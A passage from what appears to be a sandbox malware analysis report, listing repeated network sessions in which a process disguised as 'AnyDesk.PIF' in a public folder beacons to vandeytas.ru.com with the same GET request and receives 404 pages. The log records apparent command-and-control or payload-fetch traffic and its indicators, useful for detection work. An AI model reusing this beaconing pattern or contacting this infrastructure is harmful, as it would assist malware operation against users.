2024-11-26 08:39:39 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:39 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:39 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49785	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:41 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:41 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:41 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:41 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49789	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:43 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:43 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:43 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:43 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49796	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:45 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:46 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:46 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:46 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49803	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:47 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:48 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:48 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:48 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49810	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:50 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:50 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:50 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:50 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49817	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:52 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:52 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:52 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:52 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49824	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:54 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:54 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:54 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:54 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49831	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:56 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:56 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:56 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:56 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49838	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:39:58 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:39:59 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:39:58 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:39:59 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49845	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:00 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:01 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:01 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:01 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49852	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:02 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:03 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:03 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:03 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49859	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:05 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:05 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:05 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:05 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49866	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
2024-11-26 08:40:07 UTC	165	OUT	GET /233_Hlvzmhuinff HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: vandeytas.ru.com
2024-11-26 08:40:07 UTC	164	IN	HTTP/1.1 404 Not Found Date: Tue, 26 Nov 2024 08:40:07 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-11-26 08:40:07 UTC	315	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49870	50.7.187.218	443	7640	C:\Users\Public\Libraries\AnyDesk.PIF

Timestamp	Bytes transferred	Direction	Data
